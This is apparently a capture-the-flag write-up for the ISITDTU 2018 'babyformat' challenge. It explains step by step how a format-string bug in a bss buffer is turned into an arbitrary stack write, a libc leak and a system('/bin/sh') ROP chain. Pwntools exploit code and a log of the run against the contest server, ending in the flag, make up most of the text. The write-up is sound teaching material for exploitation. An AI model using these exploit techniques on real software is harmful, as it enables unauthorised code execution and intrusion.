ISITDTU CTF 2018 Quals - babyformat

8 Solves

nc 104.196.99.62 2222

Attachment: babyformat libc.so.6 xpl.py

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
==== Baby Format - Echo system ====
abc
abc
%p
0x5663f02c

From the name it’s already quite obvious, that we’ve got a format string challenge here.

Let’s quickly wrap up the code in the binary

char BUFF[16];

int main(int argc, const char *argv[])
{
  INIT();
  puts("==== Baby Format - Echo system ====");
  for (int i = 0; i < COUNT; ++i) {
    exploit_me();

    if ( !strncmp(BUFF, "EXIT", 4) )
      break;
  }
  return 0;
}

void exploit_me()
{
  memset(BUFF, 0, 13);
  read(0, BUFF, 13);
  printf(BUFF);
}

Ok, pretty obvious format string vulnerability, though the buffer for the format string is not located on the stack but in the bss. Thus, we cannot reuse any of our input for the format string exploit (like adding addresses in the format string itself) and can only work with values already on the stack.

Also there’s a COUNT variable, which only allows us to send 3 input strings.

To exploit this successfully, we need to

  • change count to get infinite writes
  • prepare a stack writer to write arbitrary values into the stack
  • identify the remote libc
  • write a simple ret2libc ropchain

If we’re able to write arbitrary addresses into the stack, the other stuff won’t be a big problem anymore. But before being able to do anything useful, we need to either modify COUNT or change the counter variable i.

I went for the latter and we’ll use up all 3 attempts for this.

First, some global leaks for pie and stack:

def exploit(r):
  r.recvline()
  r.send("%1$p%9$p")

  PIE = int(r.recv(10), 16)
  e.address = PIE - 0x202c
  STACK = int(r.recv(10), 16)
  
  log.info("PIE leak       : %s" % hex(PIE))
  log.info("PIE            : %s" % hex(e.address))
  log.info("STACK leak     : %s" % hex(STACK))

The 9th format string parameter contains the address of parameter 57:

9 => 0xffffd6b4
57 => 0xffffd7ee

We can use this, to modify the lower word of the address parameter 57 is pointing to, to let it point to some other value on the stack (high word will be the same, so we don’t need to modify it).

Thus, we first change the address for parameter 57 to point it to i

def write_param(param, value):
  r.send("%%%du%%%d$hn" % (value, param))

...

log.info("Overwrite pointer for parameter 57 with pointer to counter")

COUNTER = STACK - 0xb8 + 3

write_param(9, (COUNTER & 0xffff))

In fact, we write the address of i + 3 there, to let it point to the highest byte, so we only have to write one byte to make it negative

log.info("Overwrite counter to negative value")

write_param(57, 0xff)

This was the third write, so i should have a value of 3, but after our last write it will now be 0xff000003 (-16777213), which should give us more than enough tries :)

Now to the next part, for being able to write arbitrary values on the stack (and not only modifying existing stack variables), we need to be able to write the hi and lo word of an address. To get to this point, we’ll first prepare two stack writer addresses, which will show to the lo and hi word portion of another stack address.

Again, parameter 9 holds the address for parameter 57, and parameter 10 holds the address for parameter 59.

log.info("Prepare stack writer")

STACK1 = STACK + 0x10
STACK2 = STACK + 0x10 + 2

write_param(9, STACK1 & 0xffff)
write_param(10, STACK2 & 0xffff)

With this our stack will look like this

Website

(I suck at drawing arrows :P)

Parameter 9 points to 0xffffd754 and Parameter 10 points to 0xffffd57c and we just filled 0xffffd754 (57) with the (lo) address of parameter 61 (0xffffd584) and 0xffffd57c (59) with the address of the hi word of parameter 61 (0xffffd586).

From now on, we can use 57 and 59 to change the hi and lo word of parameter 61, and then use parameter 61 to write a value to this address.

So we can now already write a word to an arbitrary address. By just using this mechanism again to also write to the hi word address, we have an arbitrary write function :)

def prepare_address(address):
  # write address to param 61
  HIADDR = (address & 0xffff0000) >> 16
  LOADDR = address & 0xffff

  write_param(57, LOADDR)
  write_param(59, HIADDR)

def write_value(address, value):
  # write lo word via 61
  prepare_address(address)
  write_param(61, value & 0xffff)

  # write hi word via 61
  prepare_address(address+2)
  write_param(61, (value & 0xffff0000) >> 16)

So, we now have arbitrary write via write_value. From here on it should be an easy game.

We can use this to write a ropchain to the return address and then trigger it, by leaving with EXIT. Though we only know pie and stack addresses at the moment, so we need to identify the remote libc first.

Let’s just use a ropchain to leak some got entries from the remote system (this won’t be used in the final exploit).

def write_payload (address, payload):
  for i in range(len(payload)):
    write_value(address + (i*4), payload[i])
    r.interactive()

def leak_rop(address):
  payload = [e.address + 0x8ed, address] 

  write_payload(address, payload)

  r.interactive()

  r.sendline("EXIT")
  r.recvline()

  LEAK = u32(r.recv(4))

  return LEAK

...

RET = STACK - 0x98

PUTS = leak_rop(RET, e.got["puts"]) 
log.info("PUTS          : %s" % hex(PUTS))

With this, we can leak multiple got entries from the remote system, and use for example libc-database from niklasb to identify the used libc.

Armed with the correct libc, we can now change our leak-ropchain into a system("/bin/sh") ropchain and finish this.

log.info("Leak libc address")
    
write_value(STACK + 0x4, e.got["read"])

r.interactive()

r.sendline("%58$s")

READ = u32(r.recv(4))
libc.address = READ - libc.symbols["read"]
  
log.info("LIBC              : %s" % hex(libc.address))

for leaking and calculating libc base address and then finally

log.info("Write system('/bin/sh') ropchain")

payload = [libc.symbols["system"], 0xdeadbeef, next(libc.search("/bin/sh"))]

write_payload(RET, payload)

r.sendline("EXIT")

pause()
r.interactive()

You’ll see a lot of r.interactive() here.

The remote system will send a lot of whitespaces back to us, and it’s important that the buffers are cleared, when doing the next write.

It’s possible to do this in a cleaner way, by receiving the correct amount of whitespaces before doing the next write, but just adding a r.interactive() is the cheap way of getting around this, so you’ll just have to press CTRL+C some times until you arrive at the last pause (which will then trigger the shell).

[*] '/home/kileak/babyformat/babyformat'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kileak/babyformat/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 104.196.99.62 on port 2222: Done
[*] PIE leak       : 0x565f402c
[*] PIE            : 0x565f2000
[*] STACK leak     : 0xffad0614
[*] Paused (press any to continue)
...
[SNIP]
 1448943660                                                                                                                                                                                                                                                     1448943660$ 
[SNIP]

[*] Interrupted
[*] Prepare stack writer
[*] Leak libc address
[*] Switching to interactive mode

[SNIP]

48775724$ 

[SNIP]

[*] Interrupted
[*] LIBC              : 0xf7ddb000
[*] Write system('/bin/sh') ropchain
[*] Switching to interactive mode

[SNIP]

[*] Interrupted
[*] Paused (press any to continue)
[*] Switching to interactive mode
EXIT
$ cat /home/babyformat/flag
ISITDTU{044b7e07f7da9990e7f2dc1ab28f9b07}